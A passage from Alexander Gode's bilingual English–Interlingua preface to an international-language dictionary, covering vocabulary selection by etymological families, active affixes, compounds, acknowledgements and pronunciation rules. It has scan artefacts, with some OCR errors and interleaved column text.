international language 'desk, doughnut, dumbbell,' or whatever else happens to come to mind?\" When the parallel question is asked, \"How do you say 'desk, doughnut, dumbbell' in French, German, or Arabic?\" the answer, \"A desk is this, a dumbbell that, and a doughnut does not exist,\" is possible because the body of words of those languages is fully established and ready for perusal.\nThe first job to be tackled had to be the compilation of at least large portions of the international vocabulary without any sort of reference to starting points in English or any other individual language. Furthermore, if secondarily the question about the international equivalent of such and such a word from any particular language is admitted, it should be explicitly preceded by an inquiry as to whether or not the thing, fact, or idea in question is international. For if no one can be expected to give the French, Russian or German word for doughnut if he can prove that the thing itself is unknown to the speakers of those languages, the same privilege should be enjoyed by a person speaking or writing the international language.\nInversely the international vocabulary, to qualify as the vocabulary of a full-fledged language, must be able to produce an equivalent for every concept which is truly international. It does not follow that non-international concepts cannot be expressed in the international language. A Russian, German, or Frenchman can very well refer to a doughnut in his own language by using various circumlocutions even though he may find that there is no crystallized term for the thing. Exactly the same - but nothing more - may be expected of the international language.\nIn the preparation of this Dictionary the technique of checking the internationality of concepts represented in individual languages and of subsequently ascertaining their being covered by the international vocabulary, has been applied after the assembly of an initial stock of international words was completed.\nThe basis from which the initial compilation took off consisted of complete assemblies of all words in the major source languages belonging to a particular etymological word family. The selection of the etymological families to be so treated was naturally guided in a general way by the knowledge that it would be technically impossible to treat the total vocabulary of the source languages in the manner indicated and that a family like that evolved from Latin corpus 'body' or Greek lithos 'tone' should have priority over an item like Latin jurgare 'to quarrel' (from which we have such obscure words as English objurgation) or Greek limos 'hunger' (which produces the English term bulimy 'a morbid form of hunger occurring in idiots' also known as 'canine hunger').\nOne result achieved by the method of etymological family alignments is that it permits the student to see at a glance what etymologically corresponding words there are in the various languages under observation. For example, the English word necessitous has the Italian correspondence necessitoso, it appears in French as necessiteux, but nothing like it existed in Latin or exists now in Spanish and Portuguese. The word necessity, on the other hand, has etymological correspondences practically everywhere. English necessitude existed in Latin and older Italian but is nowhere really alive.\nMore important is the fact that the assemblies of complete etymological families bring out the derivational patterns, which are often obscured or disrupted in individual languages, with such clarity that the result may be termed the underlying prototype or international schema of derivation. English paucity, for instance, looks certainly like a derivative with the suffix -ity, but from the English point of view it is not possible to state from what other word it is derived. The Iberian languages and Italian clarify the question. The base word is represented in them by poco and the archaic Italian form pauco which serve to explain the English paucity. Or again the French word crétacé 'cretacious' shows at best a vague or \"learned\" dependence on craie 'chalk.' But when this craie appears in alignment with Italian creta, the clear Italian pattern creta-cretaceo brings out the obscured but latent French continuity craie-crétacé.\nActive Word Building. - The clearer the derivational\npatterns in a given language, the freer will be the permissibleuse of new or nonce formations. If no English nouns in -ity existed without a base adjective preceding it (that is, if paucity were impossible without *paucous), inversely formations like strangity and sacrity would seem less impossible.\nFor the international vocabulary the clarity of its derivational patterns is of such essential importance that it was decided to stress it in this Dictionary by an almost unqualified adherence to the principle that no word is listed without simultaneously admitting all its clear compounds, derivatives, and formations\npreceding it in a derivational series. If the adjective marin 'marine' is listed, it is allowed to take with it the compound submarin 'submarine,' the derivative marinero 'mariner,' and the form mar 'sea' which precedes it. Of course no word is allowed to carry with it dependents not clearly recognizable as such. If the adjective marin has a substantival derivative marina 'navy,' this word does not appear in the Dictionary as a dependent of marin because no one will recognize the signification of marina on the basis of his acquaintance with the adjective marin plus the termination -a. The word marina is in the vocabulary by its own rights. It is international in the required sense all by itself.\nIn order to establish a rule that every word that enters the international vocabulary can carry with it all related formations differing from it by an element of distinct and logical value, a list of standard affixes with standardized forms and standardized meanings must be provided. The selection of these affixes was made possible by a study of the complete assemblies of etymological families previously mentioned.\nFor the purposes of this Dictionary all the affixes here listed have been considered active or autonomous. That is to say, any word - even though it occur in only one of the contributing languages - is listed in the Dictionary if it is built by means of one of them on a base in full international standing. Every active affix is represented in the Dictionary by a separate entry which includes a full analysis of its meaning or meanings. Inversely, every affix represented by a separate entry in the Dictionary is thereby identified as an active one.\nLE VOCABULARIO INTERNATIONAL\nLe Dictionario comprende circa 27000 entratas. Illo non es un compilation complete del vocabulario international e illo non poteva esser facite con le intention que illo sia complete.\nUn nette estimation del parolas international que le methodos jam previemente exponite, producerea si istos era exploitate usque al ultimo, poterea amontar a plure centos de milles. Le grande majoritate de parolas comprendite in un tal corpore 'complete' de parolas international esserea terminos de alte specialisation. Proque illos es in un quanto predominante technologic e scientific o generalmente docte, lor peso grandemente contribue al argumento que le lingua international existe potentialmente in le linguas ethnic e solmente attende esser extrahite de illos. Tamen, le internationalitate de multe terminos in iste categoria es tanto explicite que habente trovate los in un o altere lingua nos senti que es justificate usar los in omne alteres, etiam in le lingua international, sin previemente consultar le dictionarios correspondente.\nSi nos incontra le parola anglese cyclonoscope, il es a pena necessari saper que illo significa; il es mesme non necessari consultar un dictionario, pro concluder que le equivalente german es Zyklonoskop, le forma francese cyclonoscope, le variante italian ciclonoscopio, etc. Nam le facto es precisemente que vocabulos de iste specie non es specificamente anglese, francese o german, etc. sed international. Le version international de cyclonoscope es cyclonoscopio.\nSed nos pote avantiar. Non solmente il ha innumerabile terminos technic in uso international, sed un infinite numero additional, que non es trovabile ubicunque, existe potentialmente in omne linguas intra le campo del vocabulario international e inde in le lingua international ipse. Quando, per exemplo, le philosopho Lovejoy, pro su proprie proposito, introduceva le termino retrotensive in un de su obras, su lectores recipeva naturalmente un explication de que iste neologismo debeva exprimer, sed traductores non pote consultar un dictionario pro saper como translatar le termino in qualcunque altere lingua. Tamen illes non habeva un difficultate pro determinar que le formas espaniol, italian, portugese debeva esser retrotensivo, le forma german retrotensiv, le forma francese retrotensif, etc. Un altere exemplo: si un inventor faceva apparer un novelle utensile pro ejicer cigarettas ex un receptaculo al momento que un crte grado de concentration de nicotina era attingite e iste inventor desirava appellar su invention un autoejector, il poterea haber pane dubita super le nomine pro iste instrumento in altere linguas post su arrivata a lontan costas in le curso del expansion del civilisation. Le germanos lo appellarea Autoejektor, le franceses autoejecteur, le italianos autoeiettore, etc.\nQue merita nostre attention es que le\ntraductor ab anglese in qualcunque altere lingua intra le campo del vocabulario international pote immediatemente translatar parolas como retrotensive e autoejector, non proque ille comprende lor signification sed proque ille es conscie de lor structura. Si un tal conscientia in le traductor de patronos structural possibilisa e ille a determinar lo que un tal o un altere parola anglese de obvie internationalitate debe esser in francese, espaniol, portugese, italiano, germano, russo e etiam numerose altere linguas, un similar commoditate de reconstruer tal terminos in le lingua international es obtenibile super le base de un conscientia correspondente del patronos preponderante in le lingua international. Igitur le Dictionario debe esser talmente compilate que illo include ample materia illustrative de omne modos e species de formationes ex omne disciplinas del effortios scientific e technologic del homine.\nLe conto de como le Dictionario era adaptate pro responder a iste requirimentos se misce con un canto de como le corpore del vocabulos inserite era seligite.Un dictionario del lingua international pane problemas clarmente distincte de illos que confronta le facitores de dictionarios pro firmemente establite linguas con unFormation active de parolas. - Quanto plus clar son le patronos derivational in un certe lingua, tanto plus libere essera le uso de nove o occasional formationes. Si substantivos anglese in -ity non existeva sin un adjectivo basic que lo precederea (Le. si paucity era impossibile sin *paucous), inversemente formationes como strangity e sacrity semblarea minus impossibile.\ntradition de usage verificabile. Si, dice-nos, un dictionario de 27000 vocabulos anglese -- monolinguaI o con traductiones in un aItere lingua -- era intendite, le travalio initiaI a facer per le lexicographo\nesserea le selection ex le tote corpore del parolas anglese de ille 27000 vocabulos que multo probabilemente esserea le plus frequentemente demandate per le futur usatores. In toto le 27000 vocabulos le plus frequente dellingua anglese esserea inserite.\nLe 27000 vocabulos le plus frequente del lingua international, totevia, non pote esser talmente identificate. Non solmente nos non pote saper an un certe parola international es frequente o infrequente, nos etiam non pote fundar le selection de vocabulos a inserer in le dictionario super le criterio de lor importantia in un o altere lingua fonte.\nInter le aspectos distinctive de nostre approximation al question del vocabulario international es le facto que le puncto de partita nullemente sia le question \"Como dicer in le lingua international 'desk, doughnut, dumbbeIl' o quecunque aItere que adveni aI mente?\". Quando es ponite le question paraIlel \"Como dicer in francese, germano o arabe 'desk, doughnut, dumbbell'?\" le responsa \"Un 'desk' es isto, un 'dumbbell' es illo e un 'doughnut' non existe\", es possibile proque le corpore de parolas in iste linguas es completemente establite e preste pro scrutinio.\nLe prime labor a attaccar deberea esser le compilation de al minus grande portiones del vocabulario international sin qualcunque referentia a punctos de partita in anglese o in alicun aItere lingua particular. In plus, si secundemente le question in re le equivalente international de un o altere parola de alicun lingua particular esadmittite, un scrutinio an si o non le concernite caso, facto o idea es international debe explicitemente preceder. Post que si on non pote expectar que qualque uno es capace a dar le parola francese, russe o german pro 'doughnut' e ille pote provar que le cosa ipse es incognite al parlatores de iste linguas, le mesme privilegio deberea esser concedite a un persona qui parla o scribe in le lingua international.\nInversemente le vocabulario international, si illo sia le vocabulario de un lingua completemente developpate, debe esser capace a presentar un equivalente pro omne notiones que son vermente international. De isto non seque que notiones non-international non pote esser exprimite in le lingua international. Un russo, un germano o un francese pote certo referer a un 'doughnut' in su proprie lingua per usar varie circumlocutiones mesmo si ille possibilemente crede que il non ha un termino concrete pro le cosa. Exactemente le mesmo -- sed nihil plus -on pote expectar dellingua international.\nDurante le preparation de iste Dictionario le technica de controlo del internationalitate de notiones representate in separate linguas e de subsequente assecurantia que illos es includite in le lingua international, ha essite applicate post quam le collection de un gruppo initial de vocabulos international era finite.\nLe base de que le compilation initial partiva consisteva de complete collectiones de omne parolas in le major linguas fonte, que pertille a un particular famiJia etymologic de parolas. Le selection del familias etymologic que sia assi tractate era naturalmente guidate in un maniera general per le sapientia que il esserea technicamente impossibile tractar tote le vocabulario del linguas fonte in le maniera indicate e que un familia corno illo que evolveva ab latin corpus 'corpore' o grec lithos 'lapide' deberea haber prioritate super un caso como latin jurgare 'querelar' (ab le qual nos ha in anglese tal parolas obscur como objurgation) o grec limos 'fame' (le qual produceva in anglese le termino bulimy 'un forma morbide de fame que occurre in idiotas' e que es cognite etiam como 'fame canin').\nUn resultato particular obtenite per le methodo de alineamento de familias etymologic es illo que permitte al studente constatar a prime vista qual parolas con etymologic correspondentia se trova in le varie linguas observate. Per exemplo, le parola anglese necessitous ha como correspondentia italian necessitoso e illo appare como necessiteux in francese, sed nihil similar existeva in latino o existe nunc in espaniol e portugese. Al contrario, le parola anglese necessity ha correspondentias etymologic quasi ubique. Anglese necessitude existeva in latino e in un passate stadio del italiano, sed es nusquam realmente vivente.\nPlus importante es le facto que le\ncollectiones de complete familias etymologic visibilisa le patronos derivational, que es a multe vices obscurate o disrumpite in le linguas individual, con un tal claritate que le resultato pote nominar se le prototypo fundamentalo schema international de derivation. Per exemplo, anglese paucity ha certemente le aspecto de un derivation con le suffixo -ity. Sed ab le puncto de vista anglese non es possibile decIarar ab qual altere parola illo se derivava. Le linguas iberic e italian clarifica le question. ln illos le parola basic es representate per paco e le archaic forma italian pauco, le quales aptemente explana anglese paucity. Itero, le parola francese cretace 'cretacee' monstra in le optime caso un vage o docte dependentia de craie 'ereta'. Sed quando iste craie appare in alineamento con italian creta, le clar patrono italian creta-cretaceo explica le obscurate sed latente consistentia francese craie-crétacé.\nPro le vocabulario international le claritate de su patronos derivational es de importantia tanto essential que isto imponeva le decision a dar peso a illo in le Dictionario per un adherentia quasi inconditional al principio que nuHe vocabulo se insere sin le admission simultanee de omne su clar compositos, derivationes e formationes que lo accompania in un serie derivational. Si le adjectivo marin es registrate, isto permitte prender con illo le composito submarin, le derivato marinero, e le forma mar que lo precede. Naturalmente nuHe parola pote introducer con se derivatos que non es clarmente recognoscibile como tales. Ben que le adjectivo marin ha un derivato substantival marina, iste parola non appare in le Dictionario como un derivato de marin proque nemo recognoscera le signification de marina super le base de su parentato con le adjectivo marin in conjunction con le termination -a. Le vocabulo marina es in le vocabulario per proprie derecto. Illo es international in le requirite senso per se.\nA fin de establir un regula que cata parola que entra in le vocabulario international pote apportar con se omne formationes parentate differente de illo per un elemento de distincte e logic valor, un lista de affixos standard con formas standardisate e significationes standardisate debe esser providite. Le selection de iste affixos era possibilisate per un studio del complete collectiones de familias etymologic previemente mentionate.\nPro le objectivo del Dictionario omne affixos hic presentate es considerate active o autonome. Isto es, omne parola - mesmo si illo se trova solmente in un del linguas contribuente - es inserite in le Dictionario si illo es per le media de un de istos super un base de complete stabilimento international. Cata affixo active es representate in le Dictionario per un separate entrata que include un complete analysis de su signification o significationes. Inversemente, cata affixo representate per un separate entrata in le Dictionario es assi identificate como un affixo active.\nList of Active Affixes - Lista de affixos active a- -amento ante- -ata -ator -abile amphi- anti- -ate -atori ad- an- -antia -astra -atoria -ada -an apo- -astro -atorio -age ana- -ar -ation -atura -al -ano -ari -ative auto- -alia -ante -ario -ato cata- circum -ette -ific -ition -osis co -etto -ificar -ificar -itis con ex- -imento -itive para- contra- extra- in- -itor per- dia- hyper- -in -itori peri- dis- hypo- -ina -itoria post- dys- -ia inter- -itorio pre- en- -ian intra- -itude pro- -ente -iano intro- -itura re- - entia -ibile -ion -ive retro- epi- -ic -isar meta- sub- -eria -ica -ismo mis- super- -ero -ico -issime non- syn- -esc -iente -issimo -oide trans- -ese -ientia -ista -or ultra- -essa -iera -ita -ori -ura -eto -iero -itate -orio vice- -etta -ifere -ite -ose\nAs for compounds, every formation is considered active (or autonomous) if both elements constituting the compound occur in other compounds of full internationality which thus serve as models. The international words telegraphia and microscopio can carry a formation like micrographia into the international vocabulary as a logical, self-explanatory compound provided it is found represented in at least one of the contributing languages.\nThe compounds thus given active standing include the type portamoneta 'purse' which consists of a verb form (conveniently described as the infinitive deprived of its final -r) plus a noun. The meaning of the compound follows the pattern, \"a thing or person that is to perform the action expressed by the first element in regard to an object represented by the second element.\" The second element may be singular or plural in form depending on the logic of the situation. If, as in guardacostas 'coastguard,' the second element is given in the plural, the pluralization of the compound produces no distinct form. 'Coastguards' is still guardacostas.\nThe inclusion of all types of compounds in the Dictionary has not been carried as far as in the case of affix formations.If, within the limits noted, a consistent effort was made to exhaust derivational series and incorporate all their links in the Dictionary, the families in which the words of the international vocabulary are presented do not of necessity constitute etymological families in the broad sense of the term. The international vocabulary is based on the vocabulary of a series of contributing languages but is not identical with them. In this sense English is based on Western Germanic (as is German) without being identical with it. And as, for instance, the English word dollar is not, in English terns, a derivative from the word dale although in terms of West Germanic such an etymological interrelation is a fact, so there are word groups in the international language which may very well be etymologically interrelated in terms of the Romance languages or Latin or Greek without therefore being interrelated within the framework of the international vocabulary. An instance of this sort is the international word prision which constitutes a word family by itself despite the fact that it is ultimately - by way of the Romance languages and Latin - related to the international word prender.Free Formation. - Among the word families in the Dictionary there are naturally not a few which consist of one single word. They are in a sense potential families. Although the present Dictionary does not include words totally devoid of support in the contributing source languages, there is no reason why the user should not operate freely with the derivational and compounding devices placed at his disposal. He may thus expand single-word families to fuller representation in exactly the manner in which he may add newer formations to any of the larger groups. He may, for example, take the word jada 'jade' and derive from it the verb jadificar 'to transform into, make look like, jade,' just as he may use the word pluralista 'pluralist' to form the adjective pluralistic. Nothing can prevent him from making such words except the worry that he would not know what to do with them. He may go farther and form such monsters as jadification and jadificational or pluralisticitate. To be sure, there are psycho-linguistic blocks (rooted in Romance tradition and usage) which will prevent the majority of users from forming such words as well as others of the theoretically altogether possible type of jadal or pluralistal.\nThe Dictionary includes a fair number of doublets which cannot be kept out of the international vocabulary because they happen to be international. Most of them owe their occurrence to the principle of complete derivational series. There is for instance the international word vindication which carries with it the infinitive vindicar supported both by English 'to vindicate' and international derivatives and compounds of the type vindication, revindicar, etc. These forms having been established and included in the international vocabulary, the contributing languages present the additional correspondence French, English vengeance, Spanish venganza, which justifies the adoption of a doublet verb vengiar. Since the Dictionary is not meant to legislate within the frame of what has been described as the international vocabulary, it must refrain from expressing a preference in favor of one of two equally international forms of the same word. The user may take his choice. Similar consequences result from the principle that the deriving stem of a particular series of words determines the form of the base word. Both iridescentia and irisation are fully supported international words. The former carries with it the base form iride 'iris' (supported by Italian); the latter would justify the inclusion of iris even if it were not international in itself. Hence the doublet iris-iride.\nThe endeavor to make this a comprehensive dictionary of the international vocabulary implied an open-minded attitude toward previous auxiliary language proposals. The most important effects of this attitude fall in the domain of grammar rather than of lexicography. However, the two domains meet in their common interest in certain types of words with predominantly grammatical functions. Several older auxiliary-language systems operate with forms, especially of conjunctions, prepositions, pronouns, and non-derived adverbs, which do not appear to be incompatible with the principles of assemblage adopted for this Dictionary. All such forms have been included. They are given in brackets; the interlinguistic systems from which they were taken have not been identified.\nAcknowledgements. - The completion of this Dictionary brings to a close a major phase in the history of the International Auxiliary Language Association. It is hard to say when precisely the project was started, for many of the ideas used in its execution and also a number of independent studies from which some valuable raw material could be derived reach back by a decade or more and were not necessarily conceived in anticipation of the use we have made of them. To their authors and compilers we wish to express our sense of obligation and gratitude.\nAs the present director of IALA's interlinguistic research I am happy to express my appreciation of the efforts of my predecessors. Very essential portions of the groundwork on which we have built were laid out by Mr. E. Clark Stillman whom I feel privileged to have as a friend and whom I am eager to acknowledge as a teacher in the field of interlinguistics. The Dictionary is likewise indebted to a number of fundamental ideas originally formulated by Dr. André Martinet.\nAmong the authors of various projects furthered or undertaken by IALA in the past, it is especially Miss Helen S. Eaton whose indirect contributions to the present work could be observed and were appreciated by every staff worker at all times during the actual preparation of the final printer's manuscript. This is not merely a reference to Miss Eaton's published Semantic Frequency List but also to various manuscript studies which are being preserved under her name in the IALA archives.\nIt has often been remarked that the outline of a new auxiliary-language system is little more more than a lengthy weekend job. The compilation of a dictionary is a bird of a different feather. It exceeds the productive capacity of a weekend and possibly that of a lifetime. This Dictionary, at any rate, cannot be imagined as the work of a single author. It represents staff work and staff collaboration. As I list the names of the members of IALA's past and present Research Staff in so far as they have been connected with the various stages through which this work had to pass, each one will know for himself in what respect his efforts were especially important and hence especially valued. Not thanks but warm appreciation to Dr. Dora Berger, Mr. Erich Berger, Mrs. Chassia Topaze Heldt, Mr. Francis H. Heldt, Dr. Christine Meyer, Mr. Nikolai Rabeneck, Dr. Leonie Sachs, Mr. Louis Sibuet, and Dr. Bernhard Valentini.\nThe manuscript of this Dictionary was going through the last stages of its editorial revision when Mrs. Alice V. Morris died on August 15, 1950. For years Mrs. Morris' interest in the progress of the work of the Association\nhad found expression in a most active participation in all our efforts. She was the Chairman of IALA's Research Division but this position did not prevent her from working simultaneously as the most devoted and tireless member of the Association's Research Staff. Before her last illness circumscribed the extent of Mrs. Morris' linguistic investigations, most of her work was performed in close collaboration with her studious and widely-informed assistant, Mr. Hugh E. Blair, who subsequently joined IALA's general Research Staff. This project has profited greatly by Mr. Blair's unrelenting labor and ever-pertinent criticism.\nMrs. Mary Bray, Executive Director of IALA, has never shunned the extra work entailed by our calling on her for editorial advice and practical help far beyond the limits of her administrative duties. Her spirit of joyful collaboration has ironed out many a technical and non-technical difficulty. Specifically she has organized for us a clerical staff of untiring devotion whose high morale survived undaunted through many a dreary hour. May our clerical workers - Miss Louise Engelke, Mrs. Patricia Walsh Galvin, Miss Ethel Hanson, and Mrs. Margaret Timm - look upon this Dictionary as their work which in a very important sense it is.\nWe cannot release this work to the public without inviting the constructive criticism of practical and theoretical interlinguists in all parts of the world. This applies not only to technical flaws and errors which seem unavoidable in a work of this scope and which we shall be glad to correct in future editions. It is meant particularly to refer to questions of methodology and technique of presentation and also to guiding ideas which have a bearing on the results obtained. Let us broaden this appeal for critical collaboration and address it likewise to the student of comparative and general linguistics. Linguistic research supplied the interlinguistic methodology which produced this Dictionary. As the linguist discovers its uses, may he also discover that interlinguistics is that branch of his science where abstract scholarship and practical idealism merge.\nALEXANDER GODE\nQuanto a compositos, cata formation es considerate\nactive o autonome, si le elementos que constitue le composito, occurre in altere compositos de plen internationalitate, le quales assi servi como patronos. Le parolas international telegraphia e microscopio pote supportar un formation como micrographia in le vocabulario international como un logic e evidente composito sub le condition que illo se trova in al minus un del linguas contribuente.\nLe compositos talmente ponite in un stato active, include le typo portamoneta que consiste de un forma verbal (commodemente describite como le infinitiva private del -r final) prefixe a un substantivo. Le signification del composito es definite per le phrase \"un cosa o persona destinate a exercer le action exprimite per le prime elemento con respecto a un objecto representate per le secunde elemento\". Le secunde elemento pote esser in le forma singular o plural dependente del logica del caso. In le caso, como in guardacostas 'coastguard', in que le secunde elemento es date in le forma plural, le composito pluralisate non obtene un forma distincte. 'Coastguards' es etiam guardacostas.\nLe insertion de tanto multe typos de compositos in le Dictionario non era complite tanto extensivemente como in le caso del formationes con affixos.Si, intra le confinios definite, un effortio consistente era facte pro exhaurir series derivational e pro incorporar omne lorFormation libere. - Inter le familias de parolas in le Dictionario il ha naturalmente non pauches que consiste de un singule parola. Illos son in un certe senso familias potential. Ben que le presente Dictionario non contine parolas toto sin alicun supporto in le contribuente linguas fonte, il non ha un ration proque un usator non velle liberemente operar con modos derivational e compositori que es disponibile a ille. Assi ille pote expander familias de un singule parola a un representation plus ample exactemente in le maniera in que ille pote adder nove formationes a alicun del gruppos plus grande. Per exemplo, ille pote prender le parola jada e derivar de isto le verbo jadificar 'transformar a o render similar a jada', precisemente como ille pote usar le parola pluralista pro formar le adjectivo pluralistic. Nihil pote impedir a ille facer tal parolas excepte le vexation que ille non saperea que facer con illos. Ille poterea continuar e formar tal monstruositates como jadification e jadificational o pluralisticitate. In veritate, il ha impedimentos psycholinguistic (radicate in le tradition e usage romance) que retene le majoritate del usatores de formar tal parolas como etiam alteres del typo, al fin possibile, de jadal o pluralistal.\ncatenas in le Dictionario, le familias in\nle quales le parolas del vocabulario international se presenta, non\nnecessarimente constitue familias\netymologic in le large senso del termino. Le vocabulario international se basa super un gruppo de linguas contribuente sed non es identic con illos. In iste senso le anglese ha su base super germanico occidental (como etiam germano) sin esser identic con illo. E como, per exemplo, le parola anglese dollar non es, in le conception anglese, un derivation del vocabulo date, ben que secundo un conception west-germanic un tal interrelation etymologic es un facto, assi il ha gruppos de parolas in le lingua international del quales on pote recognoscer lor interrelation etymologic secundo le conception del linguas romance o del latina o del greco sin igitur admitter un interrelation de illos in le quadro del vocabulario international. Un specimen de iste sorta es le parola international prision que constitue un familia de parolas per se malgrado le facto que illo es ultimemente - per le moda del linguas romance e latino - parentate al parola international prender.\nLe Dictionario contine un considerabile numero de duplettos que on non pote evitar in le vocabulario international proque al fin illos son international. Le major parte de illos debe lor presentia al principio del complete series derivational. Per exemplo, il ha le parola international vindication que introduce con se le infinitiva vindicar supportate e per anglese 'to vindicate' e per derivationes e compositos del typo vindication, revindicar, etc. Dum iste formas ha essite stabilite e inserite in le vocabulario international, le linguas contribuente presenta le correspondentia additional: francese e anglese vengeance, espaniol venganza, que justifica le adoption de un verbo-dupletto vengiar. Post que le Dictionario non es destinate a legislar intra le quadro de que ha essite descripte como le vocabulario international, illo debe retener se de enunciar un preferentia in favor de un del duo formas equalmente international del mesme vocabulo. Al usator es admittite facer su election. Consequentias similar resulta del principio que le radice de que es derivate un serie particular de parolas, determina le forma del vocabulo basic. E iridescentia e irisation son parolas international plenmente supportate. Le prime apporta con se le forma basic iride (supportate per italiano); le altere justificarea le adoption de iris mesmo si isto non esseva international solmente per se. Inde le dupletto\niris-iride.\nLe tentativa a facer isto un dictionario comprehensive del vocabulario international implicava un attitude liberal verso previe proponimentos de linguas auxiliar. Le effectos le plus importante de iste attitude se trova in le dominio del grammatica plus tosto quam in illo del lexicographia. Totevia, le duo dominios se incontra in lor interesse commun in certe typos de parolas con functiones ante toto grammatical. Plure systemas de linguas auxiliar del passato functiona con formas, specialmente conjunctiones, prepositiones, pronomines e adverbios nonderivate, que se monstra non esser incompatibile con le principios de compilation acceptate pro le Dictionario. Omne tal formas ha essite inserite. Illos son in crochettos; le systemas interlinguistic ex quales illos son prendite non son identificate.\nRecognoscentias. - Le completion de iste Dictionario conclude un phase major in le historia del International Auxiliary Language Association. Il es difficile dicer quando precisemente le projecto era lanceate, proque multe ideas usate in su execution e etiam un numero de studios independente ex quales alicun materia prime poteva esser derivate attinge retro per un decennio e plus e non necessemente era concepte in anticipation del uso que ha essite facte de illos. A lor autores e compilatores nos vole exprimer nostre senso de obligation e gratitude.\nComo le director presente del recerca interlinguistic de IALA io es felice a exprimer mi appreciation del effortios de mi predecessores. Portiones de labor fundamental multo essential a qual nos ha edificate era facte per sr E. Clark Stillman qui io me senti essente privilegiate haber como amico e qui io es alacre recognoscer como un inseniator in le campo de interlinguistica. Equalmente le Dictionario es indebitate a un numero de ideas fundamental que era originalmente formulate per dr André Martinet.\nInter le autores de projectos varie que IALA avantiava o interprendeva in le passato, il es specialmente stta Helen S. Eaton cuje contributiones indirecte pro nostre obra presente poteva esser observate e illos era appreciate per omne empleatos de equipa al tote le tempores durante le preparation actual del manuscripto final del impressor. Isto non es solmente un referentia al Semantic Frequency List de stta Eaton sed etiam a varie manuscriptos de studios que son preservate sub su nomine in le archivos de IALA.\nOn ha sovente remarcate que le skeleto de un nove systema de lingua auxiliar es un obra de non plus quam un finseptimana prolongate. Le compilation de un dictionario es un altere cosa. Illo excede un capacitate productive de un finseptimana e forsan illo del tote le vita. On non pote imaginar in ulle caso iste Dictionario como un obra de un singule autor. Illo representa un obra de un equipa e collaboration. Quando io presenta un lista del membros presente e passate del Section de Recerca de IALA in tanto que illes ha essite connexe con le varie stadios trans quales iste obra debeva passar, cata uno va ipse saper in qual respecto su effortios era specialmente importante e hinc specialmente appreciate. Nulle gratias sed appreciation calide a dr Dora Berger, sr Erich Berger, sra Chassia Topaze Heldt, sr Francis H. Heldt, dr Christine Meyer, sr Nikolai Rabeneck, dr Leonie Sachs, sr Louis Sibuet e dr Bernhard Valentini.\nLe manuscripto de iste Dictionario era in le ultime grados de su revision editorial quando mrs Alice V. Morris moriva le augusto 15, 1950. Durante annors interesse de sra Morris al labor del Association hbeva trovate expression in le most active participation in omne nostre effortios. Illa era la presidente del Division de Recerca de IALA sed iste position non preveniva la de laborar simultaneemente como le plus devote e infatigabile membro del Section de Recerca del Association. Ante su ultime maladia le circumscribeva le extension de investigationes linguistic de sra Morris, le majoritate de su labor era execute in collaboration intime con su studiose e largemente informate assistente, sr Hugh E. Blair, qui subsequentemente jungeva se le section general de Recerca de IALA. Iste projecto ha profitate grandemente per labor implacabile e omnipertinente criticismo de sr Blair.\nSra Mary Bray, director executive de IALA, ha nunquam evitate le extra labor necessitae per nostre demanda de illa aviso editorial e adjuta practic lontan post su cargas administrative. Su spirito e collaboration gaudiose ha solvite multe difficultates technic e non-technic. Specificamente illa ha organisate pro nos un bureau cleric de devotion non-fatigante cuje alte moral superviveva non-intimidate trans multe horas lugubre. Que nostre empleatos cleric - stta Louise Engelke, sra Patricia Walsh Galvin, stta Ethel Hanson e sra Margaret Timm - va considerar iste Dictionario como lor obra que es illo in un sense multo importante.\nNos non pote lassar iste obra al publico sin invitar un criticismo constructive de interlinguistas practic e theoretic in omne partes del mundo. Isto applica non solmente a faltas technic e errores que sembla indeclinabile in un obra de tal scopo e le quales nos va esser gaudiose a corriger in editiones futur. Illo es intense particularmente a referar le questiones de methodologia e technica de presentation e etiam a guidar ideas que ha effecto al resultatos obtente. Vamos allargar iste appellation a collaboration critic e adressar lo etiam al studente de linguistica comparative e general. Recerca linguistic forniva le methodologia interlinguistic que produceva iste Dictionario. Quando le linguista discoperi su usos, que ille discoperi etiam que interlinguistica es le branca de su scientia ubi erudition e idealismo practic merge.\nALEXANDER GODE\nSpelling and Pronunciation\nSpelling is written form; pronunciation is voiced form. In the international vocabulary, spelling and pronunciation - like forms - represent the consensus of the source languages. Both are governed by prototype rules evolved from the contributing variants. The resulting system of orthography makes use of the conventional twenty-six of the Roman alphabet without special diacritical signs or accent marks. The norm of pronunciation is, generally speaking, \"continental.\" Its values are elastic within type limits, or technically expressed, it permits phonemic variations of sounds not only under the influence of neighboring sounds but also as an effect of the native speech habits of individuals of various language backgrounds.\nThe English speaker should guard against his native tendency to merge all unstressed vowels in the neutral sound of a in China. His normal native pronunciation of b, d, f, k, l, m, p, ph. qu, v, w, and z agrees with the international norm. All other symbols and sounds are tabulated below.\na like a in 'father'; c before e, i, y like ts in 'hats' (or, optionally, like 'c in city'); otherwise like c in 'cats'; ch like ch in 'echo, chrome';e like e in 'met';g like g in 'good';h like in anglese (or, optionally, silent); after r e t, silent;i like i in 'machine'; when unstressed before a vowel, like i in 'onion' or in 'phobia'; e.g. bile, biliose, varie;j like z in 'azure' (or, optionally, like g in 'gem' or likey in 'yes');o like o in 'obey';r like rr in 'merry' or, better, like r in espaniol 'caro';s like s in 'stay'; between vowels, the same(or, optionally, like s in 'these'); e.g. sparse, abstruse, accusativo;t like in English; ti before vowels, unless stressed or preceded by s, like tsy in 'he gets you' (or, optionally, like sy in 'we pass you' or like ty in 'we let you'); e.g. actor, action, garantia, question; u like u in 'plural'; when unstressed before a vowel, like u in 'persuade' or in 'superfluous'; e.g. plural, persuader, superflue;\nx like x in fox; between vowels, the same, (or, optionally, like x in exact);y unstressed before vowelss like y in 'yes'; otherwise like i in 'machine'; e.g. Yugoslavia, typo.\nPronunciations deviating from these norms are indicated in the Dictionary by a simple system of respelling. In it the normal sound values of the interlingua are to be assumed. The digraph ch stands frequently for the sound of sh in English and has been respelled as sh; e.g. choc (sh-). The combination gi often represents the sound of z in azure. It has been respelled j; e.g. avantagiose (-ajo-). Simple g has this sound and hence this respelling in the suffix -age; e.g. avantage (-aje).\nThe diphthong eu stands for a combination of the normal interlingua sounds of e and u. Similarly, ai stands for a plus i as in kaiser; au for a plus u as in kraut. - Double consonants need not be distinguished in pronunciation from simple consonants. - The double consonant ss, however, is always voiceless like ss in 'miss.' The sounds of g and k assimilate a preceding n as in English.\nUnassimilated guest words, that is, foreign or borrowed words which are identified in the Dictionary as to their origin, retain the pronunciation and spelling of the language of origin. The original diacritical signs are omitted when the languages which have borrowed such words dispense with them too. They do so when the resulting simplified spelling suffices to suggest the intended pronunciation; e.g. defaite for French défaite, but kümmel as in German.\nThe main stress is normally on the vowel before\nthe last consonant. Words ending in -le. -ne, 